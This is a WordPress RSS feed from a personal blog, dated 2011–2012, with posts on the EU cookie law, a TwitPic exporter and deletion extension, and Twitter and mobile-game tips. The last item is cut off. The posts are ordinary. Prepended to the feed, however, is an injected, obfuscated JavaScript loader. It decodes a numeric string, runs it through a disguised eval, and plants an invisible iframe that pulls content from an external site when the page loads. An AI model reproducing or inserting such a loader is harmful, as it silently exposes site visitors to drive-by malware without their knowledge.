<script>try{q=document.createElement("div");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='qgode'["substr"](4-2);w=this;e=w[f["substr"](11)+zz];n="3.5#3.5#51.5#50#15#19#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#19.5#60.5#5.5#3.5#3.5#3.5#51.5#50#56#47.5#53.5#49.5#56#19#19.5#28.5#5.5#3.5#3.5#61.5#15#49.5#53#56.5#49.5#15#60.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#58.5#56#51.5#57#49.5#19#16#29#51.5#50#56#47.5#53.5#49.5#15#56.5#56#48.5#29.5#18.5#51#57#57#55#28#22.5#22.5#49.5#50#59.5#53#54#57.5#59#22#57.5#56.5#47.5#22#48.5#48.5#22.5#30.5#50.5#54.5#29.5#24#18.5#15#58.5#51.5#49#57#51#29.5#18.5#23.5#23#18.5#15#51#49.5#51.5#50.5#51#57#29.5#18.5#23.5#23#18.5#15#56.5#57#59.5#53#49.5#29.5#18.5#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#28#51#51.5#49#49#49.5#54#28.5#55#54.5#56.5#51.5#57#51.5#54.5#54#28#47.5#48#56.5#54.5#53#57.5#57#49.5#28.5#53#49.5#50#57#28#23#28.5#57#54.5#55#28#23#28.5#18.5#30#29#22.5#51.5#50#56#47.5#53.5#49.5#30#16#19.5#28.5#5.5#3.5#3.5#61.5#5.5#3.5#3.5#50#57.5#54#48.5#57#51.5#54.5#54#15#51.5#50#56#47.5#53.5#49.5#56#19#19.5#60.5#5.5#3.5#3.5#3.5#58#47.5#56#15#50#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#51.5#50#56#47.5#53.5#49.5#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#56.5#56#48.5#18.5#21#18.5#51#57#57#55#28#22.5#22.5#49.5#50#59.5#53#54#57.5#59#22#57.5#56.5#47.5#22#48.5#48.5#22.5#30.5#50.5#54.5#29.5#24#18.5#19.5#28.5#50#22#56.5#57#59.5#53#49.5#22#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#29.5#18.5#51#51.5#49#49#49.5#54#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#55#54.5#56.5#51.5#57#51.5#54.5#54#29.5#18.5#47.5#48#56.5#54.5#53#57.5#57#49.5#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#53#49.5#50#57#29.5#18.5#23#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#57#54.5#55#29.5#18.5#23#18.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#58.5#51.5#49#57#51#18.5#21#18.5#23.5#23#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#51#49.5#51.5#50.5#51#57#18.5#21#18.5#23.5#23#18.5#19.5#28.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#50#19.5#28.5#5.5#3.5#3.5#61.5"[((e)?"s":"")+"p"+"lit"]("a#"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-563!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}</script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Steven Bullen</title>
	<atom:link href="http://stevenbullen.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://stevenbullen.com</link>
	<description>Passion for Web Coding, Family and Gaming. I spend more time than I should on the internet.</description>
	<lastBuildDate>Fri, 20 Apr 2012 10:39:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Why the EU Cookie law is complete crap plus a few exceptions</title>
		<link>http://stevenbullen.com/blog/1148/why-the-eu-cookie-law-is-complete-crap-plus-a-few-exceptions/</link>
		<comments>http://stevenbullen.com/blog/1148/why-the-eu-cookie-law-is-complete-crap-plus-a-few-exceptions/#comments</comments>
		<pubDate>Fri, 20 Apr 2012 10:26:16 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Leftovers]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=1148</guid>
		<description><![CDATA[This is just a quick one to show you how ridiculous the EU Cookie law is before it&#8217;s even been implemented on the 26th May 2012. Information Commissioner&#8217;s Office Ok here is the Information Commissioner&#8217;s Office cookie acceptance request. So let&#8217;s say I don&#8217;t have a clue and do not want to accept, maybe if [...]]]></description>
			<content:encoded><![CDATA[<p>This is just a quick one to show you how ridiculous the EU Cookie law is before it&#8217;s even been implemented on the 26th May 2012.</p>
<h3>Information Commissioner&#8217;s Office</h3>
<p>Ok here is the <a title="Information Commissioner's Office" href="http://www.ico.gov.uk/" target="_blank">Information Commissioner&#8217;s Office</a> cookie acceptance request. So let&#8217;s say I don&#8217;t have a clue and do not want to accept, maybe if I click continue then it will go away. Well that would be wrong, clicking continue with out accepting comes up with.</p>
<blockquote><p>&#8220;You must tick the &#8216;I accept cookies from this site&#8217; box to accept.&#8221;</p></blockquote>
<p>Now the impression I get is 90% of the people who use the internet will think</p>
<ul>
<li>I must accept it or</li>
<li>I will accept it as I hate that damn box at the top of my screen</li>
</ul>
<p><img class="aligncenter size-full wp-image-1149" title="Information-Commissioners-Office-EU-Cookie-Crap" src="http://stevenbullen.com/wp-content/uploads/2012/04/Information-Commissioners-Office-EU-Cookie-Crap.jpg" alt="" width="413" height="138" /><br />
<span id="more-1148"></span></p>
<h3><a title="The Cookie Collective" href="http://www.cookielaw.org/" target="_blank">The Cookie Collective</a></h3>
<p>Then I found this one which is even better, a constant box that has only one option &#8216;Allow&#8217;.</p>
<p><a href="http://stevenbullen.com/wp-content/uploads/2012/04/Cookie-Law-EU-Cookie-Crap.jpg"><img class="aligncenter size-medium wp-image-1156" title="Cookie-Law-EU-Cookie-Crap" src="http://stevenbullen.com/wp-content/uploads/2012/04/Cookie-Law-EU-Cookie-Crap-300x15.jpg" alt="" width="300" height="15" /></a></p>
<p>No doubt a lot more sites that have started to implement this would have gone down the same route.</p>
<h3>The Problem</h3>
<p>The law is pretty pointless if web admin/developers are going to make it so they push you towards accepting anyway.</p>
<p>My first thought was adding a <strong>No</strong> option which could be recorded using <a title="Session Cookie" href="http://stackoverflow.com/questions/359434/cookies-vs-session" target="_blank">Sessions</a> and then at least remove the box for the users duration on the site. Granted when they come back they will have to say No again but for sites I visit once or at least not regularly it could be a solution.</p>
<p>Obviously none of these sites owners want people to say No and want you to use cookies so I don&#8217;t see this happening.</p>
<h3>Myths &#038; Exceptions</h3>
<p>I have been reading a lot of comments about people complaining about cookie usage in shopping baskets. Well according to the new law we do have some exceptions. One of them being&#8230;</p>
<blockquote><p>A cookie used to remember the goods a user wishes to buy when they proceed to the checkout or add goods to their shopping basket</p></blockquote>
<p>Also another one for example is for online banking services&#8230;</p>
<blockquote><p>Certain cookies providing security that is essential to comply with the security requirements of the seventh data protection principle for an activity the user has requested</p></blockquote>
<p>Lastly you have</p>
<blockquote><p>cookies that distribute page loading workload across numerous computers to speed up loading time</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/1148/why-the-eu-cookie-law-is-complete-crap-plus-a-few-exceptions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TwitPic Exporter is back up and running</title>
		<link>http://stevenbullen.com/blog/1130/twitpic-exporter-is-back-up-and-running/</link>
		<comments>http://stevenbullen.com/blog/1130/twitpic-exporter-is-back-up-and-running/#comments</comments>
		<pubDate>Fri, 16 Mar 2012 17:13:20 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Twitter Photos]]></category>
		<category><![CDATA[Web App]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[mobypicture]]></category>
		<category><![CDATA[tumblr]]></category>
		<category><![CDATA[TwitPic]]></category>
		<category><![CDATA[twitrpix]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[yfrog]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=1130</guid>
		<description><![CDATA[Well I finally had a few hours spare over the past couple of evenings and decided to finally get my TwitPic Exporter back up and running. TwitPic Redesign Back in the middle of January TwitPic had a major redesign which in turn completely killed my TwitPic Exporter. The source code changed for most of TwitPic&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://stevenbullen.com/wp-content/uploads/2012/03/Export-Backup-TwitPic-Import-Flickr-Wordpress-MobyPicture-yFrog-Posterous-Tumblr-TwitrPix-Picasa.png"><img class="alignright size-medium wp-image-1131" title="Export-Backup-TwitPic---Import-Flickr-Wordpress-MobyPicture-yFrog-Posterous-Tumblr-TwitrPix-Picasa" src="http://stevenbullen.com/wp-content/uploads/2012/03/Export-Backup-TwitPic-Import-Flickr-Wordpress-MobyPicture-yFrog-Posterous-Tumblr-TwitrPix-Picasa-300x171.png" alt="" width="300" height="171" /></a>Well I finally had a few hours spare over the past couple of evenings and decided to finally get my <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a> back up and running.<span id="more-1130"></span></p>
<h3 style="clear: both">TwitPic Redesign</h3>
<p>Back in the middle of January <a title="TwitPic Redesign" href="https://twitter.com/#!/TwitPic/status/160076569191264256" target="_blank">TwitPic had a major redesign</a> which in turn completely killed my <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a>. The source code changed for most of TwitPic&#8217;s web pages which meant my scraper screwed up completely.</p>
<h3>Changes</h3>
<p>Posterous importer has now been <strong>disabled</strong> due to API changes on the Posterous end. Now that Twitter has acquired Posterous it might not be the safest place for your TwitPic data anyway.</p>
<p>In the redesign they have also changed the date format which means that photos posted after 7 days will not be 100% accurate. We are talking about a few hours though not a few days.</p>
<h3>What else?</h3>
<p>Nothing else and the best news is that exporting your photos from TwitPic you will still have the following options.</p>
<ul>
<li>Save to file (gzip/zip) / General Backup</li>
<li>Flickr</li>
<li>WordPress</li>
<li>MobyPicture</li>
<li>yFrog</li>
<li>Tumblr</li>
<li>TwitrPix</li>
<li>Picasa</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/1130/twitpic-exporter-is-back-up-and-running/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grand Prix Story &#8211; How do you start a new game/save?</title>
		<link>http://stevenbullen.com/blog/1109/grand-prix-story-how-do-you-start-a-new-gamesave/</link>
		<comments>http://stevenbullen.com/blog/1109/grand-prix-story-how-do-you-start-a-new-gamesave/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 21:39:30 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Leftovers]]></category>
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=1109</guid>
		<description><![CDATA[Just a quick one. I have noticed quite a few comments about how to start a new game in Kairosoft&#8217;s Grand Prix Story. How do you start a new game in Grand Prix Story? Can&#8217;t delete previous 2 games? Please tell me how to start a new game? What to do? Step 1 &#8211; Click [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick one. I have noticed quite a few comments about how to start a new game in Kairosoft&#8217;s Grand Prix Story.</p>
<ul>
<li>How do you start a new game in Grand Prix Story?</li>
<li>Can&#8217;t delete previous 2 games?</li>
<li>Please tell me how to start a new game?</li>
</ul>
<p><span id="more-1109"></span><br />
<a href="http://stevenbullen.com/wp-content/uploads/2011/09/Resetting-Save-Data-on-Grand-Prix-Story-Step-1.png"><img class="size-medium wp-image-1110 alignleft" title="Resetting Save Data on Grand Prix Story - Step 1" src="http://stevenbullen.com/wp-content/uploads/2011/09/Resetting-Save-Data-on-Grand-Prix-Story-Step-1-200x300.png" alt="" width="200" height="300" /></a><a href="http://stevenbullen.com/wp-content/uploads/2011/09/Resetting-Save-Data-on-Grand-Prix-Story-Step-3.png"><img class="size-medium wp-image-1111 alignleft" title="Resetting Save Data on Grand Prix Story - Step 3" src="http://stevenbullen.com/wp-content/uploads/2011/09/Resetting-Save-Data-on-Grand-Prix-Story-Step-3-200x300.png" alt="" width="200" height="300" /></a><a href="http://stevenbullen.com/wp-content/uploads/2011/09/Resetting-Save-Data-on-Grand-Prix-Story-Step-2.png"><img class="size-medium wp-image-1112 alignleft" title="Resetting Save Data on Grand Prix Story - Step 2" src="http://stevenbullen.com/wp-content/uploads/2011/09/Resetting-Save-Data-on-Grand-Prix-Story-Step-2-200x300.png" alt="" width="200" height="300" /></a></p>
<div class="clear"></div>
<h3>What to do?</h3>
<p>Step 1 &#8211; Click on where the finger is pointing.<br />
Step 2 &#8211; Click on New Game!<br />
Step 3 &#8211; Click on Yes to overwrite previous game!</p>
<p>Yeah a very lame and quick post but you won&#8217;t believe how many times I have seen people complaining because they cannot start a new game.</p>
<p>Oh by the way this game is as good as the previous games from Kairosoft. You can also check out my <a href="http://stevenbullen.com/blog/588/game-dev-story-money-hackcheat-guide-to-editing-plist-file/" title="Move Money hack for Game Dev Story">hack for more money on Game Dev Story</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/1109/grand-prix-story-how-do-you-start-a-new-gamesave/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Chrome Extension &#8211; Delete all TwitPic images in one click</title>
		<link>http://stevenbullen.com/blog/1059/chrome-extension-delete-all-twitpic-images-in-one-click/</link>
		<comments>http://stevenbullen.com/blog/1059/chrome-extension-delete-all-twitpic-images-in-one-click/#comments</comments>
		<pubDate>Thu, 23 Jun 2011 09:08:09 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Extension]]></category>
		<category><![CDATA[TwitPic]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=1059</guid>
		<description><![CDATA[I have created my first Chrome Extension and to tell you the truth it was pretty painless and that was probably due to the comprehensive documentation that Google created. Why delete my TwitPic images? You might be asking why can I not just just delete my TwitPic account, well the problem with that is by [...]]]></description>
			<content:encoded><![CDATA[<p>I have created my first Chrome Extension and to tell you the truth it was pretty painless and that was probably due to the comprehensive <a href="http://code.google.com/chrome/extensions/docs.html">documentation</a> that Google created.</p>
<h3>Why delete my TwitPic images?</h3>
<p>You might be asking why can I not just just delete my TwitPic account, well the problem with that is by deleting the account you still give TwitPic the right to use the image&#8217;s you posted. The only way that TwitPic will stop using your images is by actually deleting each image which can be a tedious task if you have a few 100. Yeah TwitPic really does suck in every way.<span id="more-1059"></span></p>
<p>This is why I decided to create this extension as I noticed people were using my <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a> and just deleting the account without removing the images. So here you go it&#8217;s easy to install and twice as easy to use.</p>
<h3>Why use an extension?</h3>
<p>Quite simple really it&#8217;s quick, easy and means my <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a> website does not need to hit TwitPic website hundreds if not thousands of times.</p>
<h3>What to do?</h3>
<ul>
<li>Install my <a href="https://chrome.google.com/webstore/detail/gdppfcekmfidokkakebicppgkkfckcke">Delete TwitPic Images</a> Chrome Extension</li>
<li>Go to <a href="http://twitpic.com/">http://twitpic.com/</a></li>
<li>Click on Home link &#8211; <a href="http://twitpic.com/photos/TWITTER_USERNAME">http://twitpic.com/photos/TWITTER_USERNAME</a></li>
<li>Click on TwitPic icon in url bar<br /><img class="size-full wp-image-1074 alignnone" style="margin: 6px 0 0 6px" title="Delete-TwitPic-Icon" src="http://stevenbullen.com/wp-content/uploads/2011/06/Delete-TwitPic-Icon.png" alt="" width="41" height="39" /></li>
<li>Once all pictures deleted it will take you to the delete account page</li>
<li>All Done!</li>
<li>You might as well go to &#8216;Tools&#8217; &#8211; &#8216;Extension&#8217; and uninstall the &#8216;Delete TwitPic Images&#8217; extension as you won&#8217;t need it anymore</li>
</ul>
<h3>Download</h3>
<p>Google Extension: <a href="https://chrome.google.com/webstore/detail/gdppfcekmfidokkakebicppgkkfckcke">Delete TwitPic</a></p>
<h3>Screenshot</h3>
<p style="text-align: center;"><img class="size-full wp-image-1067 aligncenter" title="Screenshot-Web-Page" src="http://stevenbullen.com/wp-content/uploads/2011/06/Screenshot-Web-Page.png" alt="" width="613" height="422" /></p>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/1059/chrome-extension-delete-all-twitpic-images-in-one-click/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Started hosting my own images &#8211; no more relying on twitpic or third party</title>
		<link>http://stevenbullen.com/blog/1002/started-hosting-my-own-images-no-more-relying-on-twitpic-or-third-party/</link>
		<comments>http://stevenbullen.com/blog/1002/started-hosting-my-own-images-no-more-relying-on-twitpic-or-third-party/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 13:57:15 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Twitter Photos]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[TwitPic]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=1002</guid>
		<description><![CDATA[Well ongoing from my why you need to stop using TwitPic right now post I decided that the safest route to protect my images was to go self-hosting. Initially I looked into a WordPress plugin that could do the job for me and to tell you the truth the plugin is very good. Anyway the [...]]]></description>
			<content:encoded><![CDATA[<p>Well ongoing from my <a href="http://stevenbullen.com/blog/903/why-you-need-to-stop-using-twitpic-right-now/">why you need to stop using TwitPic right now</a> post I decided that the safest route to protect my images was to go self-hosting.<span id="more-1002"></span></p>
<p>Initially I looked into a WordPress <a href="http://wordpress.org/extend/plugins/tweet-images/">plugin</a> that could do the job for me and to tell you the truth the plugin is very good. Anyway the reason I didn&#8217;t decide to use it was that in the future I intend to do a blog overhaul and had no intention to run my tweeted images through WordPress, so I decided to write my own way of tweeting images.</p>
<p><img class="alignright size-medium wp-image-1030" title="Custom-URL" src="http://stevenbullen.com/wp-content/uploads/2011/06/Custom-URL-300x158.jpg" alt="" width="300" height="158" /><del datetime="2011-06-11T19:19:03+00:00">The only bad part is that currently only <a href="https://twitter.com/#!/download/iphone">Twitter for iPhone</a> and <a href="http://twitterrific.com/iphone">Twitterrific for iPhone</a> support custom image url posting which was a pain because I enjoy using the <a href="http://tapbots.com/software/tweetbot/">TweetBot</a> app.</del><br />
Well TweetBot has had an awesome update and now supports custom image url posting. So that means <a href="https://twitter.com/#!/download/iphone">Twitter for iPhone</a>, <a href="http://twitterrific.com/iphone">Twitterrific for iPhone</a> and <a href="http://tapbots.com/software/tweetbot/">TweetBot</a> now has support for custom url posting.</p>
<h3 style="clear: both;">Responsive Images</h3>
<p>With all this newish talk on <a href="http://www.alistapart.com/articles/responsive-web-design/">Responsive Web Design</a> I thought I would do a little investigating but really all I needed was responsive images as really don&#8217;t have the time for designing/coding a new site. So I put a little something together just so I can get my tweeted images away from ANY third party photo sharing sites.</p>
<p>In the end I went with an experimental idea from <a href="http://filamentgroup.com/lab/responsive_images_experimenting_with_context_aware_image_sizing/">the filament group</a> which was exactly what I was looking for short term, it&#8217;s not perfect and in the long term I will be looking at a better solution.<br />
Taken from their website:</p>
<blockquote><p>The goal of this technique is to deliver optimized, contextual image sizes for responsive layouts that utilize dramatically different image sizes at different resolutions. Ideally, this approach will allow developers to start with mobile-optimized images in their HTML and specify a larger size to be used for users with larger screen resolutions — without requesting both image sizes, and without UA sniffing.</p></blockquote>
<p>Quite simply it puts a low resolution image up to start with and then will update it with a full resolution image if they have larger screen resolutions. It works perfect on my iPhone and I also have tried it out on Windows Phone.</p>
<h3>Current Progress</h3>
<p><img class="alignright size-medium wp-image-912" title="Export TwitPic" src="http://stevenbullen.com/wp-content/uploads/2011/05/Export-TwitPic-300x291.png" alt="" width="300" height="291" />At the moment all I have set up is the ability to attach photos to tweets, the ability to view them on <a href="http://photos.stevenbullen.com/">http://photos.stevenbullen.com/</a>, a feed of the last 12 images posted to the footer of my blog (replacing both my old flickr and twitpic images) and also I have imported all my old TwitPic/Flickr images (using my <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a> to grab the pictures).<br />
The domain http://photos.stevenbullen.com/ is currently unavailable as that will be the location to view all of my images posted in the past, but if you want to check out an example just click on any of the images in the footer.</p>
<blockquote><p>I have sketched out my plans for the front page and also will add some other neat features in the near future.</p></blockquote>
<p><a href="http://photos.stevenbullen.com/130/">Example</a></p>
<h3>TweetBot Image Upload Problems</h3>
<p>Now that TweetBot has added a Custom API Endpoint for image uploads some of you may have issues if you created your own site to interact with it. The problem is that some third party services respond to the TweetBot API with an xml format simliar to below.</p>
<blockquote><p><code>&lt;image&gt;<br />
&lt;mediaurl&gt;http://bit.ly/blahblah/&lt;/mediaurl&gt;<br />
&lt;/image&gt;</code></p></blockquote>
<p>It doesn&#8217;t understand that and even though the photo will be posted fine it will not send the tweet and come up with some sort of error, to get around this you can either change to a JSON response or just give it the following text.</p>
<blockquote><p><code>&lt;mediaurl&gt;http://bit.ly/blahblah/&lt;/mediaurl&gt;</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/1002/started-hosting-my-own-images-no-more-relying-on-twitpic-or-third-party/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How do I turn off twitter email notifications?</title>
		<link>http://stevenbullen.com/blog/957/how-do-i-turn-off-twitter-email-notifications/</link>
		<comments>http://stevenbullen.com/blog/957/how-do-i-turn-off-twitter-email-notifications/#comments</comments>
		<pubDate>Tue, 24 May 2011 20:50:31 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=957</guid>
		<description><![CDATA[It&#8217;s pretty straightforward and I advise you untick all the options, definitely if you have a twitter client with push notifications. Go to Twitter.com Click on Settings Click on Notifications I don&#8217;t understand twitter, because right now millions of users are getting a ridiculous amount of emails that they will not want. I would love [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<p><img class="alignright size-full wp-image-958" title="Twitter - Notifications" src="http://stevenbullen.com/wp-content/uploads/2011/05/Twitter-Notifications.png" alt="" width="422" height="250" />It&#8217;s pretty straightforward and I advise you untick all the options, definitely if you have a twitter client with push notifications.
<ul>
<li>Go to Twitter.com</li>
<li>Click on Settings</li>
<li>Click on <a href="https://twitter.com/settings/notifications">Notifications</a></li>
</ul>
<div class="clear"></div>
<p><span id="more-957"></span><br />
I don&#8217;t understand twitter, because right now millions of users are getting a ridiculous amount of emails that they will not want. I would love to find out how many people will turn this option off within 24 hours, the only thing that comes to mind is that new users who don&#8217;t get many mentions, rarely gets tweets favorited and when someone retweets them.</p>
<p>I like that they add features that people might use but turning them on by default is a bit lame. Oh well you can see above mine are all switched off so won&#8217;t be visiting twitter site again for a while.</p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/957/how-do-i-turn-off-twitter-email-notifications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why you need to stop using TwitPic right now</title>
		<link>http://stevenbullen.com/blog/903/why-you-need-to-stop-using-twitpic-right-now/</link>
		<comments>http://stevenbullen.com/blog/903/why-you-need-to-stop-using-twitpic-right-now/#comments</comments>
		<pubDate>Mon, 23 May 2011 22:20:40 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[TwitPic]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=903</guid>
		<description><![CDATA[Well following on from the TwitPic updates terms of service again post I wrote a couple of weeks ago it looks like the ball has started to roll. The New York Times has done a piece Fine Print Blurs Who’s in Control of Online Photos which has an interesting comment from a popular TwitPic user [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://stevenbullen.com/wp-content/uploads/2009/02/twitpic.png"><img class="alignright size-full wp-image-206" title="TwitPic" src="http://stevenbullen.com/wp-content/uploads/2009/02/twitpic.png" alt="" width="256" height="99" /></a>Well following on from the <a href="http://stevenbullen.com/blog/796/twitpic-updates-terms-of-service-again/">TwitPic updates terms of service again</a> post I wrote a couple of weeks ago it looks like the ball has started to roll.</p>
<p>The New York Times has done a piece <a href="http://www.nytimes.com/2011/05/23/technology/23terms.html?_r=1&amp;smid=tw-nytimes">Fine Print Blurs Who’s in Control of Online Photos</a> which has an interesting comment from a popular TwitPic user who has photos that get on average way over 40,000+ hits each.<span id="more-903"></span></p>
<blockquote><p>World Entertainment News would not say whether it intended to pay celebrities for their Twitpic photos or how they might opt out. A representative for “The Ellen DeGeneres Show” said that Ms. DeGeneres, a regular Twitpic user, had not been consulted about the agreement. She added that Ms. DeGeneres would stop using the service.</p></blockquote>
<p>If you check <a href="http://twitpic.com/photos/TheEllenShow">TheEllenShow</a> TwitPic account you can see that she stopped using the service on the 12th May and in the comment above is now going to stop using the service completely.</p>
<p>It also mentions that the user was not contacted about the agreement which was obvious because if someone emailed you stating that we own your photos and we can sell them to the <a href="&lt;a href=">WENN corp</a> when we see fit you would no doubt tell them to piss off. In other words when TwitPic can make lots of money from your photos they will sell them.</p>
<h3>150 Celebrity account to several hundred in 2 weeks</h3>
<p>The other thing they mention in the article is that the deal only covers several hundred celebrity accounts.</p>
<blockquote><p>Twitpic did not respond to multiple requests for comment, and neither company has made the details of the agreement public. Mr. Beiny said in an e-mail that the deal covered only the accounts of several hundred celebrities. He declined to comment further.</p></blockquote>
<p>Well when I wrote my last post (<a href="http://stevenbullen.com/blog/796/twitpic-updates-terms-of-service-again/">TwitPic updates terms of service again</a>) 2 weeks ago, I actually contacted TwitPic regarding my photos and they came back with the following comment and they even stated that it only covered 150 celebrities.</p>
<blockquote><p>To put it in the clearest non-legal words (since I’m not a lawyer–just a lowly customer service rep) We are selling images from about 150 users–all of them big name celebrities. You’re not on the list. We will not be selling your images or trying to make a profit off of you (beyond placing ads on the photo pages on Twitpic.)</p></blockquote>
<p>So in 2 weeks it has gone from 150 celebrity accounts to several hundred, which means in two weeks we will be on a 1000 celebrity accounts and so on, so my advice is to stop using TwitPic right now.</p>
<p>I think after I have finished my TwitPic Exporter (see below) I will need to write a post that shows that TwitPic won&#8217;t be the only company making this move. Quite a few of the other Twitter-Photo sharing sites have terms of service that state they could make this move as well and even if they don&#8217;t nothing stops them from changing terms of service a year down the line.</p>
<h3>Exporting TwitPic Photos</h3>
<p><img class="alignright size-medium wp-image-912" title="Export TwitPic" src="http://stevenbullen.com/wp-content/uploads/2011/05/Export-TwitPic-300x291.png" alt="" width="300" height="291" /><del datetime="2011-06-06T13:54:00+00:00">If you are looking to export your photos then keep an eye out as I will be releasing a TwitPic exporter very shortly that will let you export all your photos, descriptions and tags.</del><br />
I have now released the <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a> by all means check it out if you want to remove your images.</p>
<p>Unfortunately my first release will not be including video uploads, but checking over 50 random accounts with over 200 photos not one had posted a video.</p>
<p>You can follow me on twitter <a href="http://twitter.com/stevenbullen/">@stevenbullen</a> for the latest updates but initial release will be in the next day or two.</p>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/903/why-you-need-to-stop-using-twitpic-right-now/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Unofficial Twitter/Tumblr feed for BBC Formula 1 updates</title>
		<link>http://stevenbullen.com/blog/855/unofficial-twitter-tumblr-feed-for-bbc-formula-1-updates/</link>
		<comments>http://stevenbullen.com/blog/855/unofficial-twitter-tumblr-feed-for-bbc-formula-1-updates/#comments</comments>
		<pubDate>Mon, 16 May 2011 21:17:44 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[bit.ly]]></category>
		<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[tumblr]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=855</guid>
		<description><![CDATA[I was getting really annoyed with the RSS feed the BBC supplies for the Formula 1 section so decided to do something about it. Problem The BBC was adding the daily gossip into the RSS feed early in the morning, which meant when I went to check google reader I would need to make sure [...]]]></description>
